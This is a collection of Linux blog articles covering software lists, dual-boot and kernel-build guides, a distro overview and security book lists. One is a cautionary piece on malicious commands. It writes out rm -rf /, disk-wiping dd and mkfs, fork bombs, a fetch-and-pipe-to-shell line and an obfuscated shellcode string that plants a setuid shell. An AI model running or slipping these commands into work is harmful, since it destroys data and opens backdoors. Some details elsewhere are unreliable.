Good Free Linux Audio Software.

Music is perhaps one of the best stress busters out there. If you're a Linux user, you'll know there are quite a few interesting audio software that make listening to music a sheer delight on the platform. On the request of some of our readers, we have compiled here 7 good Linux audio software.

1.Audacious

Audacious is a free and open source audio player with a focus on low resource usage, high audio quality, and support for a wide range of audio formats.

2.Banshee

Banshee is a cross-platform open-source media player built upon Mono and Gtk#, it uses the GStreamer multimedia platform for encoding and decoding various media formats, including Ogg Vorbis, MP3 and FLAC. Banshee can play and import audio CDs and supports many portable media players, including Apple's iPod, Android devices and Creative's ZEN players.

3.Amarok

Amarok is a cross-platform free and open source music player. Although Amarok is part of the KDE project, it is released independently of the central KDE Software Compilation release cycle.

4.Exaile

Exaile is a music player that was originally conceived to be similar in style and function to KDE's Amarok 1.4, but uses the GTK+ widget toolkit rather than Qt. It is written in Python and utilises the GStreamer media framework.

5.JuK

JuK is a free software audio player by KDE, the default player since K Desktop Environment 3.2. JuK supports collections of MP3, Ogg Vorbis, and FLAC audio files.

6.Quod Libet

Quod Libet is a cross-platform free and open-source music player, tag editor and library organiser. The main design philosophy is that the user knows how they want to organise their music best and is built to be fully customisable and extensible using regular expressions. Quod Libet is a GTK+-based audio player that is written in Python, and uses the Mutagen tagging library.

7.Rhythmbox

Rhythmbox is an audio player that plays and helps organise digital music. Rhythmbox is free software, designed to work well under the GNOME Desktop using the GStreamer media framework. However, Rhythmbox functions on desktop environments other than GNOME.

Author : Shivam Kotwalia, CodeKill

Best 3D Modeling & Rendering Software For Linux!

If you're a graphic/game designer 3D modeling and rendering software is basically part and parcel of your very existence. If you're on Linux, even better! The open source platform has a lot of cool software to offer that will enhance your designing experience resulting in the creation of some really thought provoking products.

1.Art of Illusion

Art of Illusion is a software package used for 3D modeling, texturing, ray tracing, and otherwise rendering computer generated imagery stills or animations (movies). Art of Illusion is capable of modeling and rendering photorealistic images and animations; it is also capable of non-photorealistic rendering as well.

2.Blender

Blender is a free and open-source 3D computer graphics software product used for creating animated films, visual effects, art, 3D printed models, interactive 3D applications and video games. Blender's features include 3D modeling, UV unwrapping, texturing, raster graphics editing, rigging and skinning, fluid and smoke simulation, particle simulation, soft body simulation, sculpting, animating, match moving, camera tracking, rendering, video editing and compositing.

3.K-3D

K-3D is a free 3D modelling and animation software. Despite its name it is not a KDE application; it uses the GTK+ toolkit via gtkmm. It features a plug-in-oriented procedural engine for all of its content. K-3D supports polygonal modelling, and it includes basic tools for NURBS, patches, curves and animation.

4.POV-Ray

The Persistence of Vision Raytracer, or POV-Ray, is a ray tracing program which generates images from a text-based scene description, and is available for a variety of computer platforms.

5.Radiance

Radiance is a suite of tools for performing lighting simulation. It includes a renderer as well as many other tools for measuring the simulated light levels. It uses ray tracing to perform all lighting calculations, accelerated by the use of an octree data structure.

6.Sunflow

Sunflow is an open source global illumination rendering system written in Java.

7.YafRay

YafaRay is a free, open source ray tracing program that uses an XML scene description language. It has been integrated into the 2.49 version of the 3D modelling software Blender, but required an exporter for the redesigned 2.5 version of Blender. It now has an addon to integrate it into blender 2.67. 

Auhtor : Shivam Kotwalia, CodeKill 

IDEs For Windows, MAC and Linux Platforms!

Integrated Development Environments (IDEs) are an integral part of every programmer or software developer's arsenal. You would have heard of names like the Eclipse IDE and others. Well, different IDEs are suited to different platforms. There are also multi platform IDEs. Here are some IDEs for Windows, MAC and Linux platforms.

Windows: Microsoft's Windows operating system is the most popular OS in the market. Because of this, many developers prefer to create tools that can support this platform. This is also true for IDEs. There are various IDEs that are available for programmers working on the Windows OS. While what's good and what's not remains a matter of personal choice, here are five that you can check out.

1. Visual Web Developer

2. phpDesigner

3. PHPEdit

4. Visual Studio 2008

5. Expression Web

MAC: Apple's MAC operating system is built on the Unix shell. Even though it is a proprietary OS, which comes at a pretty high price and works only on Apple computers, it has a decent following. It's not known to be the most popular amongst programmers, but web designers, audio professionals etc. often prefer working on it. The following are two IDEs that work on Apple's platform.

1. Coda

2. CSSEdit

Linux IDEs: Linux is by far the most popular platform amongst programmers around the world. It is free and open source, which makes it customisable. In addition, there are various tools that come specially suited to hacking and programming using Linux. Some of the IDEs that work on this platform at the most popular in the programming community. Here are some names.

1. BlueFish

2. Komodo IDE

3. NetBeans

4. Eclipse


If I Missed your favorite IDE, please mention it in the comments. 

Author Shivam Kotwalia, CodeKill

Here Are 6 Ways To Dual-Booting With Windows 8 And Linux!

Here's how Windows users can try out the 'goodness' of Linux without having to give up on their OS.

You think Linux is not for you and only for the tech savvy and those who are trained? Well, think again! The way things stand right now, laptops and PCs are becoming passé and mobile operating systems are gaining popularity. Linux is being adopted like never before! When it comes to choosing your operating system, you must focus on what your usage is. However, if your using Windows, you can still try out the 'goodness' of Linux without having to give up on your first love!

 1. Install the Linux GRUB bootloader

-Install the Linux GRUB bootloader as the default boot object.

-The catch here is you need to have a UEFI-compatible Linux distribution (openSuSE, Fedora, Linux Mint and Ubuntu).

-When you install a UEFI-compatible Linux distribution and everything works well, you will get the GRUB boot menu after a reboot. You can then choose either Linux or Windows 8 to boot from it.

2. Use the BIOS Boot Select Key

-There's a possibility that doing everything of the above still gets you nowhere, and you're still getting Windows rather than Linux after reboot.

-In that case you can use the BIOS Boot Selection option (activated by pressing a special key that varies between systems during the power-on or reboot process.)

-Pressing the special key will interrupt the Windows boot process and you will get a list of available operating systems (Windows 8 and Linux).

3. Enable 'Legacy Boot'

-Some systems make it difficult to enable Legacy Boot. The option might be well hidden in the BIOS configuration, or require a BIOS password before they will let you change it.

-Legacy Boot allows you to install more or less any Linux distribution, without worrying about UEFI compatbility.

4. Try a workaround

-There is a "next boot" option available, which specifices a one time boot configuration.

-If it is set the system will try to boot that item first, and will also clear that setting so that on the next boot it goes back to using the default boot sequence list.

-The next boot configuration can be set from Linux using efibootmgr -n XXXX, where XXXX is the item number from the boot list.

-Add the efibootmgr command to the Linux startup scripts. Every time you boot Linux, it would reset the value so that it would boot Linux again the following time.

5. Trick the default boot process

-Put the Linux shim.efi (or grubx64.efi) image where the Windows Boot Manager is normally located. This is a cleaver trick to trick the default boot process.

6. Install a different Boot Manager

-rEFInd has the advantage of being able to boot almost anything - Windows, Linux, MacOS. It automatically finds whatever might be on the disk and then presents you with a boot selection list.

Author : Shivam Kotwalia, CodeKill

How To Dual-Boot Your Device With Both Android And Ubuntu Touch

Canonical has announced their dual-boot tool for Android devices but it is a developer preview version. 

You would have noticed that Android-based smartphones and tablets are almost at par with computers. So, just like computers, dual booting these devices is quite possible. In this article, we’ll explain how to dual-boot your device with Android and Ubuntu Touch operating systems. Canonical has announced a dual-boot tool for its OS recently, but being a developer preview, it is not yet completely bug-free. So, use it at your own risk.



The tool allows you to use both Android and Ubuntu Touch operating systems on your devices. It requires reflashing of the recovery partition of your device. The steps involved in the process are as follows.

But first, you need to meet the following requirements,

- You need an unlocked Android device.
- You need to backup the copy of your current operating system.

Let’s begin.

1. First, start your Ubuntu desktop, add the repository and update it.

sudo add-apt-repository ppa:phablet-team/tools
sudo apt-get update

2. Next you need to install the Developer Preview Tools

sudo apt-get install phablet-tools android-tools-adb android-tools-fastboot

3. If your Android device isn’t unlocked already, then unlock it. This can be done by enabling USB debugging on your Android device and then connect it to Fastboot on your Ubuntu desktop.

sudo fastboot oem unlock

4. Now you need to download the installation script and make it executable.

chmod +x dualboot.sh

5. Now you will be installing the dual booth Ubuntu Installer. This will be done by running the command given below along with your Android device connected to the computer. Here, if you are using a stock ROM, then use the first command. If you’re using a non-stock OS then the second command will come in handy.

- ./dualboot.sh FULL
- ./dualboot.sh UPDATE

A stock ROM is one that has no modifications, like an added SuperUser app etc. A non-stock ROM is like a CyanogenMod edition or something like that.

6. After executing the script, your device may reboot several times. This is normal, so don’t worry about it. When the process is completed, the Ubuntu Installer will be added to the Apps section. In order to install Ubuntu onto it, use the command below,

adb shell “su sh rm -rf /cache/*”

7. Open the Ubuntu Installer and choose ‘Trusty’ channel. This will be followed by a number of on-screen instruction that you will need to follow. These will also cover how to provide SuperUser grants. Let the installation continue after this.

8. Once the installation is completed, you will find the ‘Reboot to Ubuntu’ option. Choose this to boot your device with Ubuntu Touch. 

Author : Shivam Kotwalia, CodeKill   

An App That Can Convert Android Device Into A Full Linux Desktop Computer

This project aims to improve the convergence between a mobile device and a desktop by providing a better Complete Linux Installer to work with a Linux desktop over HDMI or on the device screen. 

Here's a project that can be a complete delight for the open source lovers. Zac Powell has developed a Complete Linux Installer App, which allows users to install Linux on their Android device alongside the Android operating system. The project has been launched as a new Indiegogo campaign to turn your Android device into a full Linux desktop computer.

The app in its current form, allows users to install some of the popular distributions including Ubuntu, Debian and Fedora on the Android devices. After that, the user can boot Linux as an app. Once your favourite open source desktop is booted, you can connect to the desktop via VNC. You can also do that by switching away from the Linux window and starting a VNC Android app. The prerequisite of the process is that the Android device needs to be rooted.
                
This project aims to improve the convergence between a mobile device and a desktop by providing a better Complete Linux Installer to work with a Linux desktop over HDMI or on the device screen. That's not all. Users can access the storage of both operating systems. The app also offers some other integration features including the ability to play audio from Linux via the device’s speakers. Users can also view the Android notifications from within Linux. Zac is also working to facilitate sending of emails and text messages from within Linux via accounts setup in Android.
Seems Zac is attempting almost the same thing that Canonical tried with Ubuntu for phones. The approach is slightly different because users can keep Android on their device and do not need to switch to Linux completely. Powell will create a custom Android ROM with the right hooks to allow the Linux guest operating system to access things like the notifications and the device’s audio subsystem. He aims to generate £1500, which is about $2500. With this, Zac will create open source Android ROM with Nexus 4 support, with all the integration features listed. The next levels of funding at £2000, £3000, £5000 will basically add support for different devices starting with the Sony Xperia Tablet Z and then the Nexus 5, 7 and 10.

Author : Shivam Kotwalia, CodeKill                                                                                      

25 Mythical and Humorous Facts About Linux Creator Linus Torvalds

Want to know more about your hero Linus Torvalds? Look no further... 

Most people feel Linus Torvalds is the world's greatest computer programmer/hacker. So it’s not surprising that many of his loyal fans have applauded him and have recited stories about his great accomplishments.

1- His initial words were syscalls.

2- His DNA is in binary.

3- His first written program had artificial intelligence.

4- He already has Linux 3.0 and is just keeping it to himself for creating suspense.

5- He can touch MC Hammer.

6- He doesn't worry about Microsoft patent crap, he simply does "sudo mv /tmp/ms /dev/null".

7- He can perform infinite loop in five seconds... in his head.

8- He can install Gentoo in a week.

9- He can halt a BSOD... on Vista 64-bit.

10- He doesn't require anti-virus software. Virii need anti-Linus software.

11- He doesn't wear glasses any longer, not due to the fact that he has had a laser eye surgery, but as he finally got his xorg.conf properly configured in his head.

12- He wrote the whole kernel in binary and reverse engineered it to C code for others benefit.

13- He can play 3D games in his head by interpreting the source code in real-time.

14- He takes a single look at your desktop and knows which porn sites you visited over the past decade.

15- His computer's clock isn't synchronized with the world but the world synchronizes with Linus Torvalds's clock.

16- He surfs the web using nothing but netcat.

17- He has developed warp drive, sun destroying bombs and a ray that can teleport him a new sausage each day before he drinks his morning beer.

18- He doesn't push the flush toilet button, brush his teeth, shower or clean his house; he simply says, "make clean".

19- He can defragment an NTFS partition using hand.

20- He doesn't debug and programs are always perfect.

21- He is real, unless declared Integer.

22- He can delete the universe by typing rm -rf /.

23- He does not sleep; he hacks.

24- His favorite joke is HURD.

25- He didn't design Linux to run on the 386. 

Author : Shivam Kotwalia, CodeKill    

10 Linux Distributions and Their Targeted Users

Do you know from where does the power of Linux comes from? Well Linux is getting richer everyday with the presence of so much distros and every distro possessing a large group of users and developers working voluntarily on the project. Linux distributions come in all shapes and sizes, and they’re aimed at addressing every conceivable need. This article aims at briefing why a certain distro exist, who are the targeted user of the distro, and what special features it has as compared to its’ counterpart.

1. Debian

Debian is extremely stable, and this makes it ideal for servers. Debian maintains three official and a non-free repository and this has inspired several distributions (e.g., Ubuntu, Kali, etc). Debian is the mother OS of a number of Linux distribution. It has more than 37,500 packages and any other distro that can beat Debian in this regard is Gentoo. Debian uses apt or aptitude to install and update software.
Debian is an operating system certainly not for Newbies but for System Administrators and Advanced users. Debian is available for most of the architecture (Processor) of today.
Download Debian ISO Images: http://www.debian.org/distrib/

Debain Linux

2. Gentoo

Gentoo is an Operating system that contains a large number of packages as Debian do. Gentoo doesn’t comes in pre-compiled form but needed to be compiled every-time for every system. Even Gentoo community finds it difficult to install and use it, however it is considered perfect for learning and to know internal working of a Linux OS. It is always said for Gentoo “If you learn a Linux distro you learn that distro, if you learn Gentoo you learn Linux”. Gentoo uses portage to install and update software.
Gentoo is an operating System which is for those who already know their way in Linux.
Download and Installation of Gentoo: http://www.gentoo.org/main/en/where.xml

Gentoo Linux

3. Ubuntu

Ubuntu is a derivative of Debian and is the most popular free operating system. Ubuntu coverage focuses on its use in that market and is popular on server, cloud computing and even some of the mobile devices running Ubuntu Linux. Being a derivative of Debian Gnu Linux most of its processes, look and feel remains same to Debian. It uses apt package management, install and update. It is one of the easiest Distro available today. Ubuntu uses apt based package manager.
Ubuntu is an operating system on which a newbie must have their hands.
Download Ubuntu ISO Images: http://www.ubuntu.com/download

Ubuntu Linux

4. Damn Vulnerable Linux

Sure most of you would not be knowing about this distro, still this distro made a place in this article. What’s so important in this?. Damn Vulnerable Linux is exactly what it sounds like. Vulnerable Linux (DVL) is everything a good Linux distribution isn’t. It intentionally is bundled with broken, ill-configured, outdated, and exploitable software that makes it vulnerable to attacks.
It aims to train Linux Admins. And what else could have been better than to hand them a broken distribution to fix? With older/broken versions of Apache, MySQL, PHP, FTP, and SSH, your admins in training will have their hands full.
Damn Vulnerable Linux is a training laboratory.
Download Damn Vulnerable Linux (DVL) ISO Images: DVL_1.5_Infectious_Disease.iso

Damn Vulnerable Linux

5. Red Hat Enterprise Linux

It is the first Linux distro targeted for commercial market. It is release in server versions and for a number of processor architecture including x86 and x86_64. Red Hat trains and certifies system admins through courses RHCSA/RHCE. On global level 80% of total profit comes from support and 20% from training and certification however this is not the case in India.
In India Red Hat earns 80% from certification and training and only 20% from support. Whereas, Fedora is a platform, rather a testing lab where a new product or application is developed, when stable it is bundled with Red Hat and includes support. Red Hat provides very much stable applications but is notorious for packing too old packages in the box and the cost of support is really considerable. However when security is the prime concern, RHEL is a perfect distribution, it uses YUM Package Manager.
Red Hat is the first choice of System administrators with variety of packages and nice support.
Since RHEL is Commercialised, it is not available for free. However you can download the Beta-Release for Educational purpose.
Download RHEL Beta DVD ISO Images: RedHat Enterprise Linux (Beta)

Note: Marc Ewin, who created this distro is believed to name his product as Red Hat, as he lost Red Coloured Hat which seems lovely to him and was presented by his grand-pa on one of his birthday.

RedHat Enterprise Linux

6. CentOS

CentOS is an Enterprise Linux Distro which is rebuild using free sources available in Red Hat Enterprise Linux. This rebuild just removes the trademark logo and a very slight change in Binary packages. Those who want a taste of Red Hat Enterprise Linux without paying a considerable amount of money, they must give CentOS a try. Moreover CentOS seems identical in look and action to its mother RHEL. CentOS uses YUM for Package Management.
Very-stable packages and anyone who want to test the working of server on Desktop must give this OS a try.
Download CentOS 6.4 DVD ISO Images: http://wiki.centos.org/Download

CentOS Linux

7. Fedora

In Small, Fedora is for those who want to taste bleeding-edge technology and can’t wait for the program to get stable. Actually Fedora is a testing platform of Red Hat and a product is developed and tested here before entering the Enterprise distro. Fedora is a very nice distro, a large user forum and quiet a lot of packages in its repo. Fedora uses same YUM for Package Management.
Download Fedora 18 (Spherical Cow) DVD ISO’s: http://fedoraproject.org/en/get-fedora

Fedora Linux

8. Kali Linux

Kali Linux is a derivative of Debian. Kali is meant for penetration testing. It has been released only a month ago or so. The predecessor of Kali was Backtrack. All the Binary packages meant for Debian could be installed on Kali Linux and from here comes the power of Kali. Moreover the user forum supporting Debian adds strength to Kali. Kali comes with a number of penetration tools be it Wifi or Database or any other tools, build to be used instantly. Kali uses APT for Package Management.
Kali Linux is undoubtedly a penetration tester or an ethical hacker (I won’t talk about Black-Hat-Hacker) OS.
Download Kali Linux DVD ISO’s: Kali Linux 6

Kali Linux

9. Arch Linux

Arch is a rolling release Operating system, where one time installation is sufficient and every time a new version is released distro can be upgraded without the need of fresh install. Pacman is the Package Manager for Arch Linux. Arch Linux comes for X86 processor architecture as well as X86_64 architecture and installer could be run from CD or USB. Arch is build to be kept simple from Developer’s point of view and not users point of view. Arch is super configurable and installable. It is truly a geeky distro which lets you understand every in and out of Linux System.
Download Arch Linux ISO Images: https://www.archlinux.org/download/

Arch Linux

10. OpenSuse

OpenSuse is a Linux distro which is free as far as it is not used for commercial usages and remains for personal usages. True Competitor of OpenSuse is Red Hat Enterprise Linux. It uses Yast for Package Management. Yast make it very easy to use and manage server application. Moreover Yast setup wizard can configure an e-mail, LDAP, file or Web server without any undue fuss or muss. It comes with snapper which makes it possible to roll-back or use older version of file, update and configuration. Thanks to Tumbleweed which makes it possible to implement rolling release, i.e., installed OS could be updated to latest release without any the need of any fresh release.
SUSE is getting more famous among admins because of the availability of Yast and such other application that automates the task of System Administrators and the feature which other distro of same calibre is missing.
Download OpenSuse 12.3 DVD ISO’s: http://software.opensuse.org/123/en

OpenSuse Linux

It is not the end. There are several hundred of distro, and every distro is unique to other in some manner or the other. It is not possible to mention here all of them hence only 1010 (there are only 10 kinds of people in the world, those who understand binary and those who don’t) of them are listed here. Spread the power of Linux. Share and help us Spread.

Author : Shivam Kotwalia, CodeKill

Some Malicious Linux Commands You Should Be Aware Of ...!!!

Linux commands can be risky for the health of your computer and data. Do believe it? We are listing some of them for you here... 

For Linux users, it is important to have some basic understanding about malicious commands that can make your life difficult if executed. You need to cautious while running one of these commands. It is also important to always enable a screensaver allocating a password so that a casual passerby cannot maliciously apply one of these commands from your keyboard when you are not on your pc.

Listed below are some common examples of risky linux commands. Remember, they are extremely dangerous and thus should not be tried on any pc with a valuable data. Most of these commands can cause you damage from a LiveCD environment as well.

Delete all files, delete current directory, or delete visible files in current directory

. rm means remove, -f indicates "force" deletion (even if write protected), and -r means do it recursively, i.e. all subfolders. Therefore, " rm -rf / " indicate a force removal of everything in the root directory as well as all subfolders. " rm -rf . " means to force deletion of the existing directory and all subfolders. " rm -rf * " means to force deletion of all files in the existing folder and all subfolders.
rm -rf /
rm -rf .
rm -rf *

Reformat Data on device

Whatever comes after the mkfs command will be damaged and replaced with a blank filesystem.
mkfs
mkfs.ext3
mkfs.anything
Block device manipulation
These commands are used to write raw data on a block device. Often this will hit the filesystem and cause complete loss of data:
any_command > /dev/sda
dd if=something of=/dev/sda

Forkbomb

Though they look quite fascinating, these commands implement enormous processes until the system freezes, which may force a hard reset of the pc. This may cause data corruption or operating system damage).
• In Bourne-ish shells (like Bash):
:(){:|:&};:
• In Perl
fork while fork

Tarbomb

Someone asks you to get a tar archive into the current directory, which can be crafted to burst out a million files, or inject files into the system by deducing filenames. It’s highly recommended that you decompress tar archives to a clean directory. Only after determining that the extracted files are what was expected should the extracted files be copied to the final target directory.

Decompression bombs

Someone asks you to extract an archive that looks like a small download. Actually, it’s highly compressed data that will blow up to hundreds of GB's, filling your hard drive. Avoid downloading and extracting any data, utility, or software from an unreliable source.

Malicious code in Shell scripts

You get a source from someone for a shell script (which is executable from the command line interface using script execution command ./ ) You are told that recommends that to download and execute it. The script might have any command benign or malevolent. Never execute code from unreliable .For example:
wget http://some_place/some_file
sh ./some_file
or
wget http://some_place/some_file -O- | sh

Malicious source code to be compiled then executed

You get a source code from someone and are asked to compile it. Do you know it’s easy to hide malicious code as a part of a large pile of source code? Avoid compiling or executing the resulting compiled code unless it is from some trustworthy application received from a reputable site. For example, in the downloaded code, was this malicious payload:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
Which looks like the "hex code gibberish stuff" to the new or even a somewhat experienced computer user, However, it actually runs
rm -rf ~ / &
which eventually destroys your home directory as a regular user, and all your files if you are logged in as root.

Author : Shivam Kotwalia, CodeKill

A Simple guide to building your own Linux Kernel

This article is for all the newbies who want to learn how to build their own Linux kernel. Following the steps mentioned will demonstrate how easy the task is!


Please note that the steps mentioned were done on Ubuntu 10.04, but would remain the same for any Linux distribution.
Pre-requisites
Git is the utility for version control on Linux. Install it with a simple sudo apt-get install git-core. You also need the curses library development files install the package with sudo apt-get install libncurses5-dev.
Next, verify the current Linux kernel version with the uname a command so you can download the relevant kernel source to build using the git clone command. I have used Linux 2.6 in this example.
Configuring the kernel
Now that you have the source, you need to configure it. You can use the command make menuconfig if you are experienced on what configuration parameters to set. If you are new to this, I would suggest you use the default configuration copy the existing config file to the kernel source directory with, for example, cp /boot/config/-2.6.32-38-generic .config
Now, run make oldconfig to start the configure process. Please note that here you will be prompted to answer Yes or No. If you are unsure, just keep on hitting Enter (that is a default Yes).
Naming the kernel
Next, it might be good to give your kernel a name. For this, open the Makefile, and edit the lines below:
VERSION = 2
PATCHLEVEL = 6
SUBLEVEL = 32
EXTRAVERSION = -dips
NAME = Building My Kernel
Now, issue the make command. This should take a couple of hours to complete.
Installing the kernel
Now, issue the following command to install all the kernel modules:
make INSTALL_MOD_STRIP=1 modules_install
Next, run a make install.
Updating with initramfs
Run the command, sudo update-initramfs -c -k 2.6.32-dips+
For readers who are keen to know what initramfs is, it is a root filesystem that is loaded at an early stage of the boot process. It is the successor of the old initrd.
Verify the installation
Now, we are almost done! To verify, check your /boot directory. Are you able to find the new kernel image and the config file for your build? If yes, then congratulations! You have succeeded in building your kernel.
Modify the GRUB file and reboot
GRUB stands for Grand Unified Bootloader. It is a boot-loader package from GNU. GRUB provides a user the choice to boot any one of multiple operating systems installed on a computer, or to select a specific kernel configuration available on a particular operating system’s partitions.
You can find the GRUB file at /boot/grub/grub.cfg.
Issue the command sudo update-grub and your GRUB file will be modified. You should be able to see an entry for your kernel, which looks like what’s shown below.

### BEGIN /etc/grub.d/05_debian_theme ### 
 set menu_color_normal=white/black 
 set menu_color_highlight=black/light-gray 
 ### END /etc/grub.d/05_debian_theme ###

### BEGIN /etc/grub.d/10_linux ###
menuentry Ubuntu, with Linux 2.6.32-dips+ --class ubuntu --class gnu-linux --class gnu --class os 
{ 
recordfail     
insmod ext2     
set root=(hd0,5)     
search --no-floppy --fs-uuid --set 0b0ebe63-24f6-45c0-a3df-5d9c447b5ad9     
linux    /vmlinuz-2.6.32-dips+ root=UUID=325f1d1d-2070-45f3-94ed-2027c5ffcbf3 ro   quiet splash     initrd    /initrd.img-2.6.32-dips+ 
 }


Now, just reboot the system. Your system should now boot up with your just-built kernel. You can verify it by using the uname a command again.
That’s all you need to build a kernel. Now wasn’t that simple? So, have fun building your kernel!

Author : Shivam Kotwalia, CodeKill

6 Resources And Tutorials On Kali Linux

Learn, understand and prepare yourself to dive into the world of hacking through Kali Linux with these free resources. 

If you are someone who has interest in hacking, then 'Kali Linux' is a name that needs no introduction. The evolution of BackTrack, Kali Linux is indeed the most advanced penetration testing distribution, ever. So for aspirant hackers and Kali users, we bring 6 guides, tutorials and resources that you can make use of.

1. Kali Linux by Beginner Hacking - blog

A part of beginners hacking blog, the post is a complete and well explained guide atleast for beginners. So if you have just installed Kali Linux and willing to learn the basics, here's where you should head.

2. Hack with Kali Linux - blog

This is one blog that is completely dedicated to Kali Linux. The blog provides everything from hacker's news to hacker's tools to tutorial and hence is 'the' place to visit for both new and pro Kali users.

3. Web Penetration Testing with Kali Linux - eBook

Web Penetration Testing with Kali Linux is designed to be a guide for professional Penetration Testers looking to include Kali in a web application penetration engagement.

4. Kali Linux Cookbook - eBook

Kali Linux Cookbook will serve as an excellent source of information for the security professional and novice alike. The book offers detailed descriptions and example recipes that allow you to quickly get up to speed on both Kali Linux and its usage in the penetration testing field.

5. Introduction to Kali Linux – Official Documentation

This is the Official Kali Linux Documentation, that serves as a complete guide to understand and comprehend Kali Linux and its features.

6. Introduction to Kali - The Linux Operating System Built for Hacking - Video

If a picture says a thousand words, then we wonder how many a video will say! Well, jokes apart this is YouTube video by Eli the computer guy and is an awesome tutorial for Kali Linux. Although the tutorial does require you to have a strong foundation of Linux, networking and computer systems.

Shivam Kotwalia, CodeKill

13 Free eBooks On Unix And Linux Security!

We bring 13 interesting and helpful ebooks to help you upgrade your skills and knowledge. This time on Unix and Linux Security.

For a long time security was considered as the last thing in Linux and Unix. But with more and more security threats like hacking rising every day, Linux and Unix security is becoming the hottest thing in the IT job market. Here we bring to you 13 free ebooks to help you upgrade your Unix/Linux security skills.

1. Linux Administrator's Security Guide

Author: Kurt Seifried

The book was one of the very first on Linux security. From the table of content, the book covers:
Linux Physical and Console Security, Linux Administration, Linux Backup Guide, Linux File System and File Security, Linux User Authentication, Linux System and User Logging and much more.

2. The SELinux Notebook, 2nd Edition

Author(s) Richard Haines
Publisher: Richard Haines (2010)

This Notebook has been assembled from information that is available within the public domain and where necessary, updated to reflect the Linux Security Module (LSM) and Security-Enhanced Linux (SELinux) services as built into the Fedora 10 release of GNU/Linux. It explains:

SELinux and its purpose in life.
The LSM / SELinux architecture, its supporting services and how they are implemented within GNU/Linux.
The core SELinux policy language and how basic policy modules can be constructed for instructional purposes.
The core SELinux policy management tools with examples of usage.
The Reference Policy architecture, its supporting services and how it is implemented.

3. Network Security Tools: Writing, Hacking, and Modifying Security Tools

Author(s) Justin Clarke, Nitesh Dhanjani
Publisher: O'Reilly Media; 1 edition (April 11, 2005)

As the introduction of the book says, “If you're an advanced security professional, then you know that the battle to protect online privacy continues to rage on. Security chat rooms, especially, are resounding with calls for vendors to take more responsibility to release products that are more secure. In fact, with all the information and code that is passed on a daily basis, it's a fight that may never end. Fortunately, there are a number of open source security tools that give you a leg up in the battle.

Often a security tool does exactly what you want, right out of the box. More frequently, you need to customize the tool to fit the needs of your network structure. Network Security Tools shows experienced administrators how to modify, customize, and extend popular open source security tools such as Nikto, Ettercap, and Nessus.

This concise, high-end guide discusses the common customizations and extensions for these tools, then shows you how to write even more specialized attack and penetration reviews that are suited to your unique network environment. It also explains how tools like port scanners, packet injectors, network sniffers, and web assessment tools function.”

4. Practical UNIX and Internet Security, Second Edition

Author(s) Simson Garfinkel, Gene Spafford
Publisher: O'Reilly Media; Second Edition (April 1996); Third Edition edition (February 28, 2003)

As the introduction of the book says, “If you are a UNIX system administrator or user in this security conscious age, you need this book. It's a practical guide that spells out, in readable and entertaining language, the threats, the system vulnerabilities, and the countermeasures you can adopt to protect your UNIX system, network, and Internet connection. It's complete -- covering both host and network security -- and doesn't require that you be a programmer or a UNIX guru to use it.

Practical UNIX & Internet Security describes the issues, approaches, and methods for implementing security measures. It covers UNIX basics, the details of security, the ways that intruders can get into your system, and the ways you can detect them, clean up after them, and even prosecute them if they do get in. Filled with practical scripts, tricks, and warnings,Practical UNIX & Internet Security tells you everything you need to know to make your UNIX system as secure as it possible can be.”

5. Linux Security HOWTO

Author(s) K. Fenzi, D. Wreski

This read covers some of the main issues that affect Linux security. General philosophy and net-born resources are discussed.

A number of other HOWTO documents overlap with security issues, and those documents have been pointed to wherever appropriate.

This document is not meant to be a up-to-date exploits document. Large numbers of new exploits happen all the time. This document will tell you where to look for such up-to-date information, and will give some general methods to prevent such exploits from taking place.

6. Linux Security for Beginners

Author(s)Neil A. Smyth

As the name suggests this book explains the aspects of Linux security to the beginners. Will take you right from the basics explaining why do you need it, to firewalls, configuration and encryptions!

7. Getting Started with SELinux

Author(s) Faye Coker

This document was put together in response to people asking if an intro level HOWTO was available for getting started with SE Linux. It covers the more basic aspects of SE Linux such as terminology, installation and adding users in addition to a few other areas.

8. Building Internet Firewalls, 2nd Edition

Author(s) Elizabeth D. Zwicky, Simon Cooper and D. Brent Chapman
Publisher: O'Reilly Media; Second Edition edition (January 15, 2000)

Building Internet Firewalls, 2nd Edition, is a practical and detailed step-by-step guide to designing and installing firewalls and configuring Internet services to work with a firewall. Much expanded to include Linux and Windows coverage, the second edition describes:

- Firewall technologies: packet filtering, proxying, network address translation, virtual private networks
- Architectures such as screening routers, dual-homed hosts, screened hosts, screened subnets, perimeter networks, internal firewalls
- Issues involved in a variety of new Internet services and protocols through a firewall
- Email and News
- Web services and scripting languages (e.g., HTTP, Java, JavaScript, ActiveX, RealAudio, RealVideo)
- File transfer and sharing services such as NFS, Samba
- Remote access services such as Telnet, the BSD "r" commands, SSH, BackOrifice 2000
- Real-time conferencing services such as ICQ and talk
- Naming and directory services (e.g., DNS, NetBT, the Windows Browser)
- Authentication and auditing services (e.g., PAM, Kerberos, RADIUS);
- Administrative services (e.g., syslog, SNMP, SMS, RIP and other routing protocols, and ping and other network diagnostics)
- Intermediary protocols (e.g., RPC, SMB, CORBA, IIOP)
- Database protocols (e.g., ODBC, JDBC, and protocols for Oracle, Sybase, and Microsoft SQL Server)

9. Linux Firewall Configuration: Packet Filtering and Netfilter/iptables

Author(s) O. Andreasson

The author found a big empty space in the HOWTO's out there lacking in information about the iptables and Netfilter functions in the new Linux 2.4.x kernels. Among other things, he has tried to answer questions that some might have about the new possibilities like state matching. Most of this will be illustrated with an example rc.firewall.txt file that you can use in your /etc/rc.d/ scripts. Yes, this file was originally based upon the masquerading HOWTO for those of you who recognize it.

10. Securing Debian Linux

Author(s) J.F. Peña

This document describes security in the Debian project and in the Debian operating system. Starting with the process of securing and hardening the default Debian GNU/Linux distribution installation, it also covers some of the common tasks to set up a secure network environment using Debian GNU/Linux, gives additional information on the security tools available and talks about how security is enforced in Debian by the security and audit team.

11. Linux Security Administrator's Guide

Author(s) Dave Wreski

